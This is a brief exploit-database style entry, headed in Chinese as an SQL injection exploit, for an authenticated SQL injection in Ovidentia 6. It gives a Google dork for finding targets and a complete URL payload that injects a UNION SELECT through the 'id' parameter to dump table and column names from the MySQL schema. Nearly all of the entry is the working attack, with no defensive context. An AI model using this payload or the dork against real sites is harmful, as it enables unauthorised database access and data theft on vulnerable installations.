Ovidentia 6 SQL注入漏洞

EXP

# Exploit Title: Ovidentia 6 - 'id' SQL injection (Authenticated)
# Exploit Author: Felipe Prates Donato (m4ud)
# Vendor Homepage: http://www.ovidentia.org
# Version: 6
# DORK : "Powered by Ovidentia"    

http://Site/ovidentia/index.php?tg=delegat&idx=mem&id=1 UNION Select (select group_concat(TABLE_NAME,":",COLUMN_NAME,"\r\n") from information_Schema.COLUMNS where TABLE_SCHEMA = 'mysql'),2--